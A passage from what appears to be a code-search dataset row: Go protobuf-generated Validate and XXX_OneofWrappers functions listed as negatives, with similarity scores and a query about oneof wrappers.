Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\t// validation for a type composition with models.Envelope\\n\\tif err := o.Envelope.Validate(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := o.validateData(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *LineItemDigitalItemsItems0) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := m.validateCoupons(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateDiscounts(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateImageURL(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateOptions(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateProductID(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateQuantity(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateURL(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateVariantID(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *CoseV001Schema) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := m.validateData(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validatePublicKey(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *AccountingInfoOKBody) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := o.validateData(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (r *Reservation) Validate() bool {\\n\\tr.Errors = make(map[string]string)\\n\\n\\tif r.Start >= r.End {\\n\\t\\tr.Errors[\\\"End\\\"] = \\\"End Time must be greater than Start Time\\\"\\n\\t}\\n\\n\\tsession, err := mgo.Dial(os.Getenv(\\\"MONGODB_URI\\\"))\\n\\tutil.Check(err)\\n\\tdefer session.Close()\\n\\tc := session.DB(os.Getenv(\\\"MONGODB_DB\\\")).C(COLLECTION)\\n\\tvar results []Reservation\\n\\terr = c.Find(bson.M{\\\"month\\\": r.Month, \\\"day\\\": r.Day, \\\"year\\\": r.Year, \\\"location\\\": r.Location}).All(&results)\\n\\tutil.Check(err)\\n\\tfor _, reservation := range results {\\n\\t\\tif r.End <= reservation.Start {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\tif r.Start >= reservation.End {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\ts := fmt.Sprintf(\\\"Reservation already booked for %s on %s from %s - %s\\\", reservation.Location.Name, reservation.Date(), reservation.StartTime(), reservation.EndTime())\\n\\t\\tid := fmt.Sprintf(\\\"%d\\\", reservation.Id)\\n\\t\\tr.Errors[id] = s\\n\\t}\\n\\n\\treturn len(r.Errors) == 0\\n}\",\n \"func (m *SimplePrice) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := m.validateCustoms(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validatePeriod(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validatePrice(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateView(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.77535135","0.68832195","0.63057053","0.6160141","0.6127618","0.60754114","0.5959408","0.5936703","0.58403313","0.58222824","0.58157027","0.5754966","0.5718694","0.57159406","0.5708906","0.55991066","0.5489397","0.5459692","0.54592323","0.5440314","0.5438258","0.5426278","0.5407536","0.5400893","0.53831077","0.5354476","0.5344125","0.5331427","0.5327785","0.5322727","0.53183734","0.53080475","0.5287434","0.52870107","0.5286648","0.52856874","0.52834153","0.5275947","0.5260316","0.5258245","0.52470237","0.52376956","0.52232015","0.52208084","0.5218941","0.5215633","0.5207376","0.5206667","0.5194527","0.51944596","0.5192136","0.5190773","0.51820487","0.5179251","0.5179033","0.5177606","0.51712954","0.51701164","0.51694757","0.51656955","0.5159417","0.51552284","0.51518255","0.51508635","0.515074","0.51475656","0.5146634","0.5143608","0.5142954","0.51410025","0.5130535","0.5128046","0.51262605","0.5124471","0.5122367","0.51155144","0.5110145","0.509944","0.50947726","0.50928843","0.5085025","0.5083567","0.50821877","0.50731546","0.50663847","0.5066143","0.5053338","0.5041893","0.5040177","0.50397164","0.50382847","0.50377434","0.5036864","0.50351083","0.50248075","0.50246674","0.50206304","0.50193536","0.50170916","0.5014676"],"string":"[\n \"0.77535135\",\n \"0.68832195\",\n \"0.63057053\",\n \"0.6160141\",\n \"0.6127618\",\n \"0.60754114\",\n \"0.5959408\",\n \"0.5936703\",\n \"0.58403313\",\n \"0.58222824\",\n \"0.58157027\",\n \"0.5754966\",\n \"0.5718694\",\n \"0.57159406\",\n \"0.5708906\",\n \"0.55991066\",\n \"0.5489397\",\n \"0.5459692\",\n \"0.54592323\",\n \"0.5440314\",\n \"0.5438258\",\n \"0.5426278\",\n \"0.5407536\",\n \"0.5400893\",\n \"0.53831077\",\n \"0.5354476\",\n \"0.5344125\",\n \"0.5331427\",\n \"0.5327785\",\n \"0.5322727\",\n \"0.53183734\",\n \"0.53080475\",\n \"0.5287434\",\n \"0.52870107\",\n \"0.5286648\",\n \"0.52856874\",\n \"0.52834153\",\n \"0.5275947\",\n \"0.5260316\",\n \"0.5258245\",\n \"0.52470237\",\n \"0.52376956\",\n \"0.52232015\",\n \"0.52208084\",\n \"0.5218941\",\n \"0.5215633\",\n \"0.5207376\",\n \"0.5206667\",\n \"0.5194527\",\n \"0.51944596\",\n \"0.5192136\",\n \"0.5190773\",\n \"0.51820487\",\n \"0.5179251\",\n \"0.5179033\",\n \"0.5177606\",\n \"0.51712954\",\n \"0.51701164\",\n \"0.51694757\",\n \"0.51656955\",\n \"0.5159417\",\n \"0.51552284\",\n \"0.51518255\",\n \"0.51508635\",\n \"0.515074\",\n \"0.51475656\",\n \"0.5146634\",\n \"0.5143608\",\n \"0.5142954\",\n \"0.51410025\",\n \"0.5130535\",\n \"0.5128046\",\n \"0.51262605\",\n \"0.5124471\",\n \"0.5122367\",\n \"0.51155144\",\n \"0.5110145\",\n \"0.509944\",\n \"0.50947726\",\n \"0.50928843\",\n \"0.5085025\",\n \"0.5083567\",\n \"0.50821877\",\n \"0.50731546\",\n \"0.50663847\",\n \"0.5066143\",\n \"0.5053338\",\n \"0.5041893\",\n \"0.5040177\",\n \"0.50397164\",\n \"0.50382847\",\n \"0.50377434\",\n \"0.5036864\",\n \"0.50351083\",\n \"0.50248075\",\n \"0.50246674\",\n \"0.50206304\",\n \"0.50193536\",\n \"0.50170916\",\n \"0.5014676\"\n]"},"document_score":{"kind":"string","value":"0.7608615"},"document_rank":{"kind":"string","value":"1"}}},{"rowIdx":106156,"cells":{"query":{"kind":"string","value":"XXX_OneofWrappers is for the internal use of the proto package."},"document":{"kind":"string","value":"func (*Operation) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Operation_Op1)(nil),\n\t\t(*Operation_Op2)(nil),\n\t\t(*Operation_Op3)(nil),\n\t\t(*Operation_Op4)(nil),\n\t\t(*Operation_Op5)(nil),\n\t\t(*Operation_Op6)(nil),\n\t\t(*Operation_Op7)(nil),\n\t\t(*Operation_Op8)(nil),\n\t\t(*Operation_Op9)(nil),\n\t\t(*Operation_Op10)(nil),\n\t\t(*Operation_Op13)(nil),\n\t\t(*Operation_Op14)(nil),\n\t\t(*Operation_Op16)(nil),\n\t\t(*Operation_Op17)(nil),\n\t\t(*Operation_Op18)(nil),\n\t\t(*Operation_Op19)(nil),\n\t\t(*Operation_Op20)(nil),\n\t\t(*Operation_Op21)(nil),\n\t\t(*Operation_Op22)(nil),\n\t\t(*Operation_Op23)(nil),\n\t\t(*Operation_Op24)(nil),\n\t}\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (*DRB) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*DRB_NotUsed)(nil),\n\t\t(*DRB_Rohc)(nil),\n\t\t(*DRB_UplinkOnlyROHC)(nil),\n\t}\n}","func (*Interface) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Interface_Sub)(nil),\n\t\t(*Interface_Memif)(nil),\n\t\t(*Interface_Afpacket)(nil),\n\t\t(*Interface_Tap)(nil),\n\t\t(*Interface_Vxlan)(nil),\n\t\t(*Interface_Ipsec)(nil),\n\t\t(*Interface_VmxNet3)(nil),\n\t\t(*Interface_Bond)(nil),\n\t\t(*Interface_Gre)(nil),\n\t\t(*Interface_Gtpu)(nil),\n\t}\n}","func (*TwoOneofs) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*TwoOneofs_Field1)(nil),\n\t\t(*TwoOneofs_Field2)(nil),\n\t\t(*TwoOneofs_Field3)(nil),\n\t\t(*TwoOneofs_Field34)(nil),\n\t\t(*TwoOneofs_Field35)(nil),\n\t\t(*TwoOneofs_SubMessage2)(nil),\n\t}\n}","func (*TwoOneofs) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*TwoOneofs_Field1)(nil),\n\t\t(*TwoOneofs_Field2)(nil),\n\t\t(*TwoOneofs_Field3)(nil),\n\t\t(*TwoOneofs_Field34)(nil),\n\t\t(*TwoOneofs_Field35)(nil),\n\t\t(*TwoOneofs_SubMessage2)(nil),\n\t}\n}","func (*TwoOneofs) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*TwoOneofs_Field1)(nil),\n\t\t(*TwoOneofs_Field2)(nil),\n\t\t(*TwoOneofs_Field3)(nil),\n\t\t(*TwoOneofs_Field34)(nil),\n\t\t(*TwoOneofs_Field35)(nil),\n\t\t(*TwoOneofs_SubMessage2)(nil),\n\t}\n}","func (*TwoOneofs) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*TwoOneofs_Field1)(nil),\n\t\t(*TwoOneofs_Field2)(nil),\n\t\t(*TwoOneofs_Field3)(nil),\n\t\t(*TwoOneofs_Field34)(nil),\n\t\t(*TwoOneofs_Field35)(nil),\n\t\t(*TwoOneofs_SubMessage2)(nil),\n\t}\n}","func (*Layer7) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Layer7_Dns)(nil),\n\t\t(*Layer7_Http)(nil),\n\t\t(*Layer7_Kafka)(nil),\n\t}\n}","func (*Layer7) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Layer7_Dns)(nil),\n\t\t(*Layer7_Http)(nil),\n\t\t(*Layer7_Kafka)(nil),\n\t}\n}","func (*Message) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Message_NewRoundStep)(nil),\n\t\t(*Message_NewValidBlock)(nil),\n\t\t(*Message_Proposal)(nil),\n\t\t(*Message_ProposalPol)(nil),\n\t\t(*Message_BlockPart)(nil),\n\t\t(*Message_Vote)(nil),\n\t\t(*Message_HasVote)(nil),\n\t\t(*Message_VoteSetMaj23)(nil),\n\t\t(*Message_VoteSetBits)(nil),\n\t}\n}","func (*GroupMod) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*GroupMod_L2Iface)(nil),\n\t\t(*GroupMod_L3Unicast)(nil),\n\t\t(*GroupMod_MplsIface)(nil),\n\t\t(*GroupMod_MplsLabel)(nil),\n\t}\n}","func (*Layer4) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Layer4_TCP)(nil),\n\t\t(*Layer4_UDP)(nil),\n\t\t(*Layer4_ICMPv4)(nil),\n\t\t(*Layer4_ICMPv6)(nil),\n\t}\n}","func (*Layer4) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Layer4_TCP)(nil),\n\t\t(*Layer4_UDP)(nil),\n\t\t(*Layer4_ICMPv4)(nil),\n\t\t(*Layer4_ICMPv6)(nil),\n\t}\n}","func (*Message) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Message_Init)(nil),\n\t\t(*Message_File)(nil),\n\t\t(*Message_Resize)(nil),\n\t\t(*Message_Signal)(nil),\n\t}\n}","func (*Example) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Example_A)(nil),\n\t\t(*Example_BJk)(nil),\n\t}\n}","func (*ExampleMsg) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*ExampleMsg_SomeString)(nil),\n\t\t(*ExampleMsg_SomeNumber)(nil),\n\t\t(*ExampleMsg_SomeBool)(nil),\n\t}\n}","func (*WALMessage) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*WALMessage_EventDataRoundState)(nil),\n\t\t(*WALMessage_MsgInfo)(nil),\n\t\t(*WALMessage_TimeoutInfo)(nil),\n\t\t(*WALMessage_EndHeight)(nil),\n\t}\n}","func (*Modulation) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Modulation_Lora)(nil),\n\t\t(*Modulation_Fsk)(nil),\n\t\t(*Modulation_LrFhss)(nil),\n\t}\n}","func (*TestVersion2) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*TestVersion2_E)(nil),\n\t\t(*TestVersion2_F)(nil),\n\t}\n}","func (*TestVersion1) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*TestVersion1_E)(nil),\n\t\t(*TestVersion1_F)(nil),\n\t}\n}","func (*CodebookType_Type1) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*CodebookType_Type1_TypeI_SinglePanel)(nil),\n\t\t(*CodebookType_Type1_TypeI_MultiPanell)(nil),\n\t}\n}","func (*DRB_ToAddMod) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*DRB_ToAddMod_Eps_BearerIdentity)(nil),\n\t\t(*DRB_ToAddMod_Sdap_Config)(nil),\n\t}\n}","func (*TestVersion3) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*TestVersion3_E)(nil),\n\t\t(*TestVersion3_F)(nil),\n\t}\n}","func (*Bitmaps) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Bitmaps_OneSlot)(nil),\n\t\t(*Bitmaps_TwoSlots)(nil),\n\t\t(*Bitmaps_N2)(nil),\n\t\t(*Bitmaps_N4)(nil),\n\t\t(*Bitmaps_N5)(nil),\n\t\t(*Bitmaps_N8)(nil),\n\t\t(*Bitmaps_N10)(nil),\n\t\t(*Bitmaps_N20)(nil),\n\t\t(*Bitmaps_N40)(nil),\n\t}\n}","func (*Bit) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Bit_DecimalValue)(nil),\n\t\t(*Bit_LongValue)(nil),\n\t}\n}","func (*SeldonMessage) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*SeldonMessage_Data)(nil),\n\t\t(*SeldonMessage_BinData)(nil),\n\t\t(*SeldonMessage_StrData)(nil),\n\t\t(*SeldonMessage_JsonData)(nil),\n\t\t(*SeldonMessage_CustomData)(nil),\n\t}\n}","func (*TestVersionFD1) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*TestVersionFD1_E)(nil),\n\t\t(*TestVersionFD1_F)(nil),\n\t}\n}","func (*Message) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Message_Pubkey)(nil),\n\t\t(*Message_EncK)(nil),\n\t\t(*Message_Mta)(nil),\n\t\t(*Message_Delta)(nil),\n\t\t(*Message_ProofAi)(nil),\n\t\t(*Message_CommitViAi)(nil),\n\t\t(*Message_DecommitViAi)(nil),\n\t\t(*Message_CommitUiTi)(nil),\n\t\t(*Message_DecommitUiTi)(nil),\n\t\t(*Message_Si)(nil),\n\t}\n}","func (*TestUnit) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*TestUnit_GceTestCfg)(nil),\n\t\t(*TestUnit_HwTestCfg)(nil),\n\t\t(*TestUnit_MoblabVmTestCfg)(nil),\n\t\t(*TestUnit_TastVmTestCfg)(nil),\n\t\t(*TestUnit_VmTestCfg)(nil),\n\t}\n}","func (*Tag) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Tag_DecimalValue)(nil),\n\t\t(*Tag_LongValue)(nil),\n\t\t(*Tag_StringValue)(nil),\n\t}\n}","func (*Record) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Record_Local_)(nil),\n\t\t(*Record_Ledger_)(nil),\n\t\t(*Record_Multi_)(nil),\n\t\t(*Record_Offline_)(nil),\n\t}\n}","func (*GeneratedObject) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*GeneratedObject_DestinationRule)(nil),\n\t\t(*GeneratedObject_EnvoyFilter)(nil),\n\t\t(*GeneratedObject_ServiceEntry)(nil),\n\t\t(*GeneratedObject_VirtualService)(nil),\n\t}\n}","func (*Packet) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Packet_Deal)(nil),\n\t\t(*Packet_Response)(nil),\n\t\t(*Packet_Justification)(nil),\n\t}\n}","func (*Response) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Response_ImageVersion)(nil),\n\t\t(*Response_ErrorDescription)(nil),\n\t}\n}","func (*FlowMod) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*FlowMod_Vlan)(nil),\n\t\t(*FlowMod_TermMac)(nil),\n\t\t(*FlowMod_Mpls1)(nil),\n\t\t(*FlowMod_Unicast)(nil),\n\t\t(*FlowMod_Bridging)(nil),\n\t\t(*FlowMod_Acl)(nil),\n\t}\n}","func (*MFADevice) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*MFADevice_Totp)(nil),\n\t\t(*MFADevice_U2F)(nil),\n\t}\n}","func (*MFADevice) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*MFADevice_Totp)(nil),\n\t\t(*MFADevice_U2F)(nil),\n\t}\n}","func (*MFADevice) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*MFADevice_Totp)(nil),\n\t\t(*MFADevice_U2F)(nil),\n\t}\n}","func (*P4Data) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*P4Data_Bitstring)(nil),\n\t\t(*P4Data_Varbit)(nil),\n\t\t(*P4Data_Bool)(nil),\n\t\t(*P4Data_Tuple)(nil),\n\t\t(*P4Data_Struct)(nil),\n\t\t(*P4Data_Header)(nil),\n\t\t(*P4Data_HeaderUnion)(nil),\n\t\t(*P4Data_HeaderStack)(nil),\n\t\t(*P4Data_HeaderUnionStack)(nil),\n\t\t(*P4Data_Enum)(nil),\n\t\t(*P4Data_Error)(nil),\n\t\t(*P4Data_EnumValue)(nil),\n\t}\n}","func (*SSB_ConfigMobility) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*SSB_ConfigMobility_ReleaseSsb_ToMeasure)(nil),\n\t\t(*SSB_ConfigMobility_SetupSsb_ToMeasure)(nil),\n\t}\n}","func (*SpCellConfig) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*SpCellConfig_ReleaseRlf_TimersAndConstants)(nil),\n\t\t(*SpCellConfig_SetupRlf_TimersAndConstants)(nil),\n\t}\n}","func (*ServerMessage) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*ServerMessage_State)(nil),\n\t\t(*ServerMessage_Runtime)(nil),\n\t\t(*ServerMessage_Event)(nil),\n\t\t(*ServerMessage_Response)(nil),\n\t\t(*ServerMessage_Notice)(nil),\n\t}\n}","func (*ParaP2PSubMsg) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*ParaP2PSubMsg_CommitTx)(nil),\n\t\t(*ParaP2PSubMsg_SyncMsg)(nil),\n\t}\n}","func (*ServerAuctionMessage) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*ServerAuctionMessage_Challenge)(nil),\n\t\t(*ServerAuctionMessage_Success)(nil),\n\t\t(*ServerAuctionMessage_Error)(nil),\n\t\t(*ServerAuctionMessage_Prepare)(nil),\n\t\t(*ServerAuctionMessage_Sign)(nil),\n\t\t(*ServerAuctionMessage_Finalize)(nil),\n\t\t(*ServerAuctionMessage_Account)(nil),\n\t}\n}","func (*Body) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Body_AsBytes)(nil),\n\t\t(*Body_AsString)(nil),\n\t}\n}","func (*TagField) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*TagField_DoubleValue)(nil),\n\t\t(*TagField_StringValue)(nil),\n\t\t(*TagField_BoolValue)(nil),\n\t\t(*TagField_TimestampValue)(nil),\n\t\t(*TagField_EnumValue_)(nil),\n\t}\n}","func (*DatasetVersion) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*DatasetVersion_RawDatasetVersionInfo)(nil),\n\t\t(*DatasetVersion_PathDatasetVersionInfo)(nil),\n\t\t(*DatasetVersion_QueryDatasetVersionInfo)(nil),\n\t}\n}","func (*GatewayMsg) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*GatewayMsg_Demand)(nil),\n\t\t(*GatewayMsg_Supply)(nil),\n\t\t(*GatewayMsg_Target)(nil),\n\t\t(*GatewayMsg_Mbus)(nil),\n\t\t(*GatewayMsg_MbusMsg)(nil),\n\t}\n}","func (*Message) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Message_Chunk)(nil),\n\t\t(*Message_Status)(nil),\n\t\t(*Message_Response)(nil),\n\t}\n}","func (*BlobDiff) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*BlobDiff_Dataset)(nil),\n\t\t(*BlobDiff_Environment)(nil),\n\t\t(*BlobDiff_Code)(nil),\n\t\t(*BlobDiff_Config)(nil),\n\t}\n}","func (*BlobDiff) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*BlobDiff_Dataset)(nil),\n\t\t(*BlobDiff_Environment)(nil),\n\t\t(*BlobDiff_Code)(nil),\n\t\t(*BlobDiff_Config)(nil),\n\t}\n}","func (*BlobDiff) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*BlobDiff_Dataset)(nil),\n\t\t(*BlobDiff_Environment)(nil),\n\t\t(*BlobDiff_Code)(nil),\n\t\t(*BlobDiff_Config)(nil),\n\t}\n}","func (*DataType) XXX_OneofWrappers() []interface{} {\r\n\treturn []interface{}{\r\n\t\t(*DataType_ListElementType)(nil),\r\n\t\t(*DataType_StructType)(nil),\r\n\t\t(*DataType_TimeFormat)(nil),\r\n\t}\r\n}","func (*Message) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Message_Prepare)(nil),\n\t\t(*Message_Promise)(nil),\n\t\t(*Message_Accept)(nil),\n\t\t(*Message_Accepted)(nil),\n\t\t(*Message_Alert)(nil),\n\t}\n}","func (*BWP_DownlinkCommon) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*BWP_DownlinkCommon_ReleasePdcch_ConfigCommon)(nil),\n\t\t(*BWP_DownlinkCommon_SetupPdcch_ConfigCommon)(nil),\n\t\t(*BWP_DownlinkCommon_ReleasePdsch_ConfigCommon)(nil),\n\t\t(*BWP_DownlinkCommon_SetupPdsch_ConfigCommon)(nil),\n\t}\n}","func (*Test) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Test_Get)(nil),\n\t\t(*Test_Create)(nil),\n\t\t(*Test_Set)(nil),\n\t\t(*Test_Update)(nil),\n\t\t(*Test_UpdatePaths)(nil),\n\t\t(*Test_Delete)(nil),\n\t\t(*Test_Query)(nil),\n\t\t(*Test_Listen)(nil),\n\t}\n}","func (*DownlinkTXInfo) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*DownlinkTXInfo_LoraModulationInfo)(nil),\n\t\t(*DownlinkTXInfo_FskModulationInfo)(nil),\n\t\t(*DownlinkTXInfo_ImmediatelyTimingInfo)(nil),\n\t\t(*DownlinkTXInfo_DelayTimingInfo)(nil),\n\t\t(*DownlinkTXInfo_GpsEpochTimingInfo)(nil),\n\t}\n}","func (*RpcMessage) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*RpcMessage_RequestHeader)(nil),\n\t\t(*RpcMessage_ResponseHeader)(nil),\n\t}\n}","func (*Domain_Attribute) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Domain_Attribute_BoolValue)(nil),\n\t\t(*Domain_Attribute_IntValue)(nil),\n\t}\n}","func (*CellStatusResp) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*CellStatusResp_CellStatus)(nil),\n\t\t(*CellStatusResp_ErrorMsg)(nil),\n\t}\n}","func (*ClientAuctionMessage) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*ClientAuctionMessage_Commit)(nil),\n\t\t(*ClientAuctionMessage_Subscribe)(nil),\n\t\t(*ClientAuctionMessage_Accept)(nil),\n\t\t(*ClientAuctionMessage_Reject)(nil),\n\t\t(*ClientAuctionMessage_Sign)(nil),\n\t\t(*ClientAuctionMessage_Recover)(nil),\n\t}\n}","func (*GrpcService) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*GrpcService_EnvoyGrpc_)(nil),\n\t\t(*GrpcService_GoogleGrpc_)(nil),\n\t}\n}","func (*GrpcService) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*GrpcService_EnvoyGrpc_)(nil),\n\t\t(*GrpcService_GoogleGrpc_)(nil),\n\t}\n}","func (*GrpcService) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*GrpcService_EnvoyGrpc_)(nil),\n\t\t(*GrpcService_GoogleGrpc_)(nil),\n\t}\n}","func (*GrpcService) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*GrpcService_EnvoyGrpc_)(nil),\n\t\t(*GrpcService_GoogleGrpc_)(nil),\n\t}\n}","func (*GrpcService) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*GrpcService_EnvoyGrpc_)(nil),\n\t\t(*GrpcService_GoogleGrpc_)(nil),\n\t}\n}","func (*GrpcService) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*GrpcService_EnvoyGrpc_)(nil),\n\t\t(*GrpcService_GoogleGrpc_)(nil),\n\t}\n}","func (*Replay) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Replay_Http)(nil),\n\t\t(*Replay_Sqs)(nil),\n\t\t(*Replay_Amqp)(nil),\n\t\t(*Replay_Kafka)(nil),\n\t}\n}","func (*ReportConfigInterRAT) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*ReportConfigInterRAT_Periodical)(nil),\n\t\t(*ReportConfigInterRAT_EventTriggered)(nil),\n\t\t(*ReportConfigInterRAT_ReportCGI)(nil),\n\t}\n}","func (*Class) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Class_PerInstance)(nil),\n\t\t(*Class_Lumpsum)(nil),\n\t}\n}","func (*OneOfMessage) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*OneOfMessage_BinaryValue)(nil),\n\t\t(*OneOfMessage_StringValue)(nil),\n\t\t(*OneOfMessage_BooleanValue)(nil),\n\t\t(*OneOfMessage_IntValue)(nil),\n\t\t(*OneOfMessage_Int64Value)(nil),\n\t\t(*OneOfMessage_DoubleValue)(nil),\n\t\t(*OneOfMessage_FloatValue)(nil),\n\t\t(*OneOfMessage_MsgValue)(nil),\n\t}\n}","func (*ServiceSpec) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*ServiceSpec_Replicated)(nil),\n\t\t(*ServiceSpec_Global)(nil),\n\t\t(*ServiceSpec_ReplicatedJob)(nil),\n\t\t(*ServiceSpec_GlobalJob)(nil),\n\t}\n}","func (*ReceiveReply) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*ReceiveReply_Record_)(nil),\n\t\t(*ReceiveReply_LiiklusEventRecord_)(nil),\n\t}\n}","func (*Message) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Message_PexRequest)(nil),\n\t\t(*Message_PexAddrs)(nil),\n\t}\n}","func (*ChangeResponse) 